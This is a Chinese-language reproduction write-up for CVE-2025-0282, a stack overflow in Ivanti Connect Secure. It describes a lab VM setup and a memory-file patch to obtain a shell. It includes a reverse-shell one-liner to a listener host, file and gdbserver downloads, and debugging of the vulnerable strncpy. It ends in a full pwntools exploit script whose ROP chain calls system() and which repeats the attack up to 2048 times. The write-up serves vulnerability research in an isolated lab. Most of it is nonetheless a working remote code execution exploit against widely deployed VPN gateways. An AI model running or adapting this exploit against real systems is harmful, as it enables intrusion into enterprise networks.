CVE-2025-0282 ivanti 命令执行漏洞复现

1.启动

https://pulsezta.blob.core.windows.net/gateway/nsa/ISA-V-VMWARE-ICS-22.7R2.3-3431.1.zip

使用这个导入虚拟机,设置ip地址,管理员账户密码,虚拟机设置为nat模式,即可访问到页面

(需要留出20-30GB空间)

image-20260518184233864

2.提取固件

暂停虚拟机

使用010editor打开你对应虚拟机存储目录的后缀为vmem的文件

将其中的/home/bin/dsconfig.pl全部替换为///////////////bin/sh,

(这么多“/”是为了保持长度一致,不产生偏移)

让虚拟机恢复时拿到shell

image-20260519135323124

暂停虚拟机时,需要在这个界面按下enter前暂停,要不然会失败,无法拿到shell。究其原因,可能是因为继续往下走再暂停,/home/bin/dsconfig.pl已经开始执行。

image-20260519140134226

image-20260519140246720

使用另一台虚拟机 nc -lvnp 888

在ivanti上执行

1
/bin/bash -c 'bash -i >& /dev/tcp/192.168.126.128/8888 0>&1'

image-20260519141708896

放行8000端口,然后使用python启动http服务

1
2
iptables -A INPUT -p tcp --dport 8000 -j ACCEPT
python -m SimpleHTTPServer 8000

image-20260519142131680

1
2
3
wget -r -np -nH --cut-dirs=0 \
--reject-regex '(/proc/|/sys/|/dev/|/run/|/tmp/)' \
http://192.168.126.130:8000/

下载整个目录

在虚拟机上执行

1
python3 -m http.server 8001 --bind 0.0.0.0 

然后在ivanti 上

1
/usr/bin/python -c 'import urllib; urllib.urlretrieve("http://192.168.126.128:8001/gdbserver-7.10.1-x86_32","/tmp/gdbserver")'

下载提前准备好的gdbserver

https://raw.githubusercontent.com/hugsy/gdb-static/master/gdbserver-7.10.1-x86_32

3.漏洞分析

漏洞点位于sub_E4AD0的376行附近

image-20260519160059082

image-20260519160046863

其中控制写入target的数量的参数n_5=*(a1 + 144) + 1

image-20260519161233806

在同函数可以看到*(a1 + 144)被赋值为

strlen(value[“IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES”] ),这个值用户可控。

*(a1 + 140)即为value[“IFT_JNPR_KEY_PREAUTH_INIT_CLIENT_CAPABILITIES”]的值。

target在栈上,即此处造成栈溢出。

4.漏洞利用

开放1234端口,方便gdbserver调试使用

iptables -A INPUT -p tcp –dport 1234 -j ACCEPT

1
iptables -A INPUT -p tcp --dport 1234 -j ACCEPT
1
/tmp/gdbserver 0.0.0.0:1234 --attach 4633
1
pwndbg> target remote 192.168.126.130:1234

断点打在触发漏洞的strncpy处,

先设置断点c过去,然后触发脚本,即可成功断到strncpy处。

1
2
3
4
5
.text:000E5187                 mov     eax, [eax+8Ch]
.text:000E518D mov [esp+0A0Ch+var_A0C], esi ; dest
.text:000E5190 mov [esp+0A0Ch+src], eax ; src
.text:000E5194 call _strncpy
.text:000E5199 lea eax, [esp+0A0Ch+var

image-20260520135341668

image-20260520135458094

image-20260520140907939

exp利用成功,达到命令执行

调试发现

版本不同,偏移不同,需要根据版本情况调整偏移,和基地址

1
2
3
curl -k --noproxy '*' -s \
"https://192.168.126.130/dana-na/auth/url_admin/welcome.cgi?type=inter" \
| grep -i productversion

获取版本信息

image-20260521144431427

这段payload通过执行完strncpy下面的这段代码,通过提前布置好相对esp的偏移的参数来传递参数

最后通过call dword ptr [eax+48h] 截取执行流

image-20260521144758782

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *
import requests
import urllib3
import re
import time
import ssl

urllib3.disable_warnings()

context(os='linux', arch='i386', endian='little')
context.log_level = 'debug' if args.DEBUG else 'info'

HOST = '192.168.126.130'
PORT = int(args.PORT or 443)
COUNT = int(args.COUNT or 2048)

VENDOR_TCG = 0x00005597
VENDOR_JUNIPER = 0x00000a4c

IFT_VERSION_REQUEST = 0x00000001 #VERSION_REQUEST
IFT_EXPLOIT_TYPE = 0x00000088 #进入 clientCapabilities 解析路径的消息类型

pie_base=0x56653000
#0x56734194 0x0e5194

targets = {
'22.7.2.3431': {
'padding_to_vftable': 2288,
'vftable_gadget_offset': 0x00934365 + 2,
'padding_to_next_frame': 2934,

'offset_to_got_plt': 0x00157c000,

'gadget_inc_ebx_ret': 0x00032233,
'gadget_mov_eax_esp_retn_c': 0x00ca2e84,
'gadget_add_eax_8_ret': 0x007a040c,
'gadget_mov_esp_eax_call_system': 0x004f0df3,

'libdsplibs_base': 0xf644c000,
}
}


def lg(name, value):
log.info(f'{name:<28}: {hex(value) if isinstance(value, int) else value}')


def get_version():
return '22.7.2.3431'




def start():

ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

# 强制 TLS 1.2
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
ctx.maximum_version = ssl.TLSVersion.TLSv1_2

return remote(
HOST,
PORT,
ssl=True,
ssl_context=ctx,
sni=False,
timeout=3000
)


def upgrade_to_ift_tls(io):
req = (
f'GET / HTTP/1.1\r\n'
f'Host: {HOST}:{PORT}\r\n'
f'User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n'
f'Content-Type: EAP\r\n'
f'Upgrade: IF-T/TLS 1.0\r\n'
f'Content-Length: 0\r\n'
f'\r\n'
).encode()

io.send(req)

res = io.recv(4096, timeout=3000)

log.info('upgrade response:')
print(hexdump(res))

if b'101 Switching Protocols' not in res:
log.failure('IF-T/TLS upgrade failed')
return False

log.success('IF-T/TLS upgrade success')
return True


def ift_packet(vendor, msg_type, seq_id, body):
header = flat(
[
vendor,
msg_type,
len(body) + 0x10,
seq_id,
],
word_size=32,
endianness='big',
sign=False
)

return header + body


def version_packet():
body = flat(
[
0x00,
0x01,
0x02,
0x02,
],
word_size=8
)

return ift_packet(
vendor=VENDOR_TCG,
msg_type=IFT_VERSION_REQUEST,
seq_id=0,
body=body
)


def build_cmd():

cmd = 'id>/tmp/pwned'

cmd = cmd.replace(' ', '${IFS}')

log.info(f'cmd: {cmd}')

return cmd.encode() + b'\x00'


def build_rop(t):
base = int(args.BASE, 16) if args.BASE else t['libdsplibs_base']

lg('libdsplibs_base', base)
lg('vftable gadget', base + t['vftable_gadget_offset'])
lg('got plt - 1', base + t['offset_to_got_plt'] - 1)
lg('inc ebx; ret', base + t['gadget_inc_ebx_ret'])
lg('mov eax, esp; retn c', base + t['gadget_mov_eax_esp_retn_c'])
lg('add eax, 8; ret', base + t['gadget_add_eax_8_ret'])
lg('mov esp, eax; call system', base + t['gadget_mov_esp_eax_call_system'])

payload = b'C' * t['padding_to_vftable']
payload += p32(base + t['vftable_gadget_offset'])

payload += b'A' * t['padding_to_next_frame']
payload += p32(base + t['offset_to_got_plt'] - 1)
# payload+=b"a"*4

payload += p32(0xCAFEBEEF) * 3

payload += p32(base + t['gadget_inc_ebx_ret'])
payload += p32(base + t['gadget_mov_eax_esp_retn_c'])
payload += p32(base + t['gadget_add_eax_8_ret'])

payload += p32(0xCAFEBEEF) * 3

payload += p32(base + t['gadget_add_eax_8_ret']) * 4

payload += p32(base + t['gadget_mov_esp_eax_call_system'])
payload += p32(0xCAFEBEEF)

return payload


def build_payload(t):
rop = build_rop(t)
cmd = build_cmd()

payload = (
b'clientHostName=abcdefgh '
b'clientIp=127.0.0.1 '
b'clientCapabilities=' +
rop +
cmd +
b'\n\x00'
)

log.info(f'raw payload length: {len(payload)}')

if args.SAVE:
open(args.SAVE, 'wb').write(payload)
log.success(f'payload saved to {args.SAVE}')

return payload


def exploit_packet(t):
body = build_payload(t)

pkt = ift_packet(
vendor=VENDOR_JUNIPER,
msg_type=IFT_EXPLOIT_TYPE,
seq_id=1,
body=body
)

log.info(f'exploit packet length: {len(pkt)}')

return pkt


def attack_once(t, idx):
io = None

try:
log.info(f'attack attempt #{idx}')

io = start()

if not upgrade_to_ift_tls(io):
io.close()
return False

pkt1 = version_packet()
pkt2 = exploit_packet(t)

io.send(pkt1)
time.sleep(0.1)

io.send(pkt2)
time.sleep(1)

io.close()
return True

except EOFError:
log.warning('EOF')

except Exception as e:
log.warning(f'error: {e}')

finally:
if io:
try:
io.close()
except Exception:
pass

return False


def choose_target():
if args.VERSION:
version = args.VERSION
log.info(f'use version from args: {version}')
else:
version = get_version()
if not version:
log.failure('failed to detect product version')
exit(1)

log.success(f'detected version: {version}')

if version not in targets:
log.failure(f'no target config for version: {version}')
log.info(f'available versions: {list(targets.keys())}')
exit(1)

return targets[version]


def pwn():
log.info(f'target: {HOST}:{PORT}')

t = choose_target()

if args.ONCE:
attack_once(t, 1)
return

for i in range(1, COUNT + 1):
attack_once(t, i)


if __name__ == '__main__':
pwn()

5.参考

[原创]ivanti CVE-2025-0282 漏洞复现-二进制漏洞-看雪安全社区|专业技术交流与安全研究论坛

Ivanti Connect Secure栈溢出漏洞(CVE-2025-0282)分析与复现 - FreeBuf网络安全行业门户